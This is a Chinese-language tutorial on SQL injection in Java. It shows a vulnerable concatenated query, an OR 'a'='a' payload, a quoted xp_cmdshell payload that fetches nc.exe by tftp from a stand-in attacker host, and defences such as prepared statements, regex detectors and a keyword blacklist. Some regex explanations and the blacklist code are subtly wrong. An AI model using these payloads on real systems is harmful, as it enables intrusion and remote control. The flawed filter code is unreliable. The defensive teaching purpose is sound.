SQL注入漏洞分析

## 漏洞简介

SQL 注入漏洞在以下情况下出现

1. 数据从一个不可信赖的数据源进入程序。
2. 数据用于动态地构造一个 SQL 查询

 代码如下

|  |
| --- |
| String userName = ctx.getAuthenticatedUserName();  String itemName = request.getParameter("itemName");  String query = "SELECT \* FROM items WHERE owner+= '"+ userName + "' AND itemname = '"+ itemName + "'";  ResultSet rs = stmt.execute(query); |

例：以下代码动态地构造并执行了一个SQL 查询，该查询可以搜索与指定名称相匹的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。这一代码所执行的查询遵循如下方式：

|  |
| --- |
| SELECT \* FROM items WHERE owner = <userName> AND itemname = <itemName>; |

但是，由于这个查询是动态构造的，由一个常数基查询字符串和一个用户输入字符串连接而成，因此只有在 itemName 不包含单引号字符时，才会正确执行这一查询。如果一个用户名为 hacker 的攻击者在 itemName 中输入字符串“name’ OR ‘a’='a”，那么构造的查询就会变成：

|  |
| --- |
| SELECT \* FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a'; |

附加条件 OR ‘a’='a’ 会使 where 从句永远评估为 true（类似的有：1=1 ‘1’=’1’），因此该查询在逻辑上将等同于一个更为简化的查询：

|  |
| --- |
| SELECT \* FROM items; |

这种查询的简化会使攻击者绕过查询只返回条目所有者与被授予权限的当前用户一致的要求；而现在的查询则会直接返回所有储存在 items 表中的条目，不论它们的所有者是谁。

## 漏洞防范

通常SQL注入通常是比较好预防的，但切忌不要存在侥幸心理，因为攻击者往往都是处在主动位置。

* 参数化执行语句（也称为事先准备好的语句PreparedStatement）

禁止通过字符串串联直接使用用户输入构造可执行 SQL 语句。全面使用参数化执行语句，对于java语言，使用预编译语句PreparedStatement代替直接的语句执行Statement。

说明：使用预编译语句PreparedStatement，类型化 SQL 参数将检查输入的类型，确保输入值在数据库中当作字符串、数字、日期或boolean等值而不是可执行代码进行处理，从而防止SQL注入攻击。

* 对输入参数的类型和长度进行严格校验

校验输入数据的长度：如果输入数据是字符串，必须校验字符串的长度是否符合要求，长度校验会加大攻击者实施攻击的难度。

校验输入数据的范围：如果输入数据是数值，必须校验数值的范围是否正确，如年龄应该为0～150之间的正整数。

校验输入数据的类型：如果仅允许输入的数据是数字，那么就不应该接收字符型的数据。

## 进行纵深防御

强大的安全办法应该采用纵深的防御措施，如果一旦前线防御失效，可以提供额外的保护。在攻击后端数据库的上下文过程中，有三个层次的进一步防御需要实施。

* 应用程序在访问数据库时应使用尽可能低级别的特权；

说明：一般来说，应用程序并不需要DBA 级别的权限，通常它只需要读取和写入数据。在安全的危急情况下，应用程序可能会采用不同的数据库帐户实行不同的操作。举例来说，如果90%的数据库查询只需要读访问，则这些操作都可以用一个没有写权限的帐户来执行。如果某个特定的查询只需要读取的一个子集数据（例如命令表，而不是用户帐户表），则使用一个具有相应访问级别权限的帐户。如果这种做法在整个应用程序中强制执行，则任何可能残留的SQL 注入漏洞的影响将大大减少。

* 数据库中要去掉所有的无用的缺省功能；

说明：只要有可能，不必要的功能应删除或禁用。即使在某些情况下，熟练的和坚定的攻击者可以通过其他手段生成一些新功能，但是数据库的小范围冻结成为攻击者的障碍。

* 数据库的补丁的更新要进行评估且及时更新；

说明：数据库本身的漏洞可能成为攻击者利用的对象。补丁要及时更新但是一些不必要的补丁或插件或许方便了攻击者。

## 防御误区

* 通过两个单引号过滤所有的用户输入的单引号，但是在如下两种情况下失效
* 如果用户提供的数字数据嵌入到SQL 查询中，这些数据通常不是封装在单引号中的。因此，攻击者可以不用提供单引号，摆脱数据上下文关系而输入任意的SQL 语句。
* 在二次SQL 注入攻击中，最初插入数据库中被安全过滤的数据随后从数据库中读取然后传回，在重用数据时，最初使用两个单引号的地方将恢复最初的形式。
* 对数据库操作使用存储过程

当然使用存储过程能避免很多安全问题，也能大大提高性能，但是却无法防止SQL注入漏洞。

* 在Oracle 中，一个写得不好的存储程序可能在代码中包含SQL 注入漏洞，在存储程序中创建SQL 语句和在其它地方一样，会出现类似的安全问题。
* 即使使用的是一个强大的存储程序，如果使用用户提供的输入，以不安全的方式调用存储程序，SQL 注入漏洞仍然会产生。
* 例如，假设在一个存储程序中实现用户注册功能， 调用语句如下： exec sp\_RegisterUser ‘joe’，‘secret’，这个语句可能就跟一个简单的INSERT语句一样易受攻击。例如，攻击者可以提供以下的密码：foo’;exec master..xp\_cmdshell ‘tftp wahh-attacker.com GET nc.exe’–将导致应用程序执行以下的批查询： exec sp\_RegisterUser ‘joe’ ， ‘foo’; exec master..xp\_cmdshell ‘tftp wahh-attacker.com GET nc.exe’–’从而使用存储程序将毫无作用。

## 防御正则表达式

代码如下：

|  |
| --- |
| private String CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”; |

正则说明：

* 点号(.)，它用来匹配任意一个单字符(\n 排除在外
* \s匹配任何空白字符，包括空格、制表符、换页符等。与 [ \f\n\r\t\v] 等效。“|”的意思就是或。
* “|”的意思就是“或”。

判断是否匹配：

|  |
| --- |
| Pattern.matches(CHECKSQL,targerStr); |

检测SQL meta-characters的正则表达式 ：

|  |
| --- |
| /(%27)|(’)|(--)|(%23)|(#)/ix |

正则说明：

* %27匹配页面url编码后的单引号；
* %23匹配页面url编码后的#号；
* i表示不区分大小写的匹配；
* x表示忽略空格。

上面的语句就是匹配字符串中是否存在单引号或--（oracle注释）或#号。

修正检测SQL meta-characters的正则表达式 ：

|  |
| --- |
| /((%3D)|(=))[^n]\*((%27)|(’)|(--)|(%3B)|(:))/i |

正则说明：

* %3D匹配页面url编码后的等于号；
* %3B匹配页面url编码后的分号；
* [^n]\*表格零个或多个任意字符；
* /i表示不区分大小写。

上面正则就是匹配字符串中是否包含等于号或单引号或—或分号。

典型的 SQL 注入攻击的正则表达式 ：

|  |
| --- |
| /w\*((%27)|(’))((%6F)|o|(%4F))((%72)|r|(%52))/ix |

正则说明：

* %6F匹配页面url编码后的小写英文o；
* %4F匹配页面url编码后的大写英文O；
* %72匹配页面url编码后的小写英文r；
* %52匹配页面url编码后的大写英文R。

上面正则就是匹配字符串中是否包含分号或大小写英文字符o或r。

检测SQL注入，UNION查询关键字的正则表达式 ：

|  |
| --- |
| /((%27)|(’))union/ix(%27)|(’) |

上面正则就是匹配字符串中是否包含分号或或union。

比较通用的一个方法：（||之间的参数可以根据自己程序的需要添加）

|  |
| --- |
| public static boolean sql\_inj(String str) {     String inj\_str = "'|and|exec|insert|select|delete|update|  count|\*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";     String inj\_stra[] = split(inj\_str,"|");     for (int i=0 ; i < inj\_stra.length ; i++ )     {         if (str.indexOf(inj\_stra)>=0)         {             return true;         }     }     return false; } |

防止SQL从URL注入：

|  |
| --- |
| public class sql\_inj{ public static boolean sql\_inj(String str) {  //这里的东西还可以自己添加      String inj\_str = "'|and|exec|insert|select|delete|update|  count|\*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";  String[] inj\_stra=inj\_str.split("\|");     for (int i=0 ; i < inj\_stra.length ; i++ )     {         if (str.indexOf(inj\_stra)>=0)         {             return true;         }     }     return false; } } |

上面的几种方法针对的主要是过滤用户提交过来的敏感字符串了，主要也是sql语句一些函数命令，字符。

## 特别说明

这个过滤器拦截其实是不靠谱的，如果每个页面都经过这个过滤器，那么效率也是比较低的。这一点需要额外关注。当然这里可以选择在数据访问上层的业务层用方法的形式进行手动过滤，只是这样容易有遗漏，而且每次编写代码都要考虑是否要过滤也是比较麻烦。

## 附录

<https://yq.aliyun.com/ziliao/13679?spm=a2c4e.11155472.blogcont.21.33203aacCPPef6>

<http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html>

<http://www.w3school.com.cn/tags/html_ref_urlencode.html>

<https://www.cnblogs.com/pursuitofacm/p/6706961.html>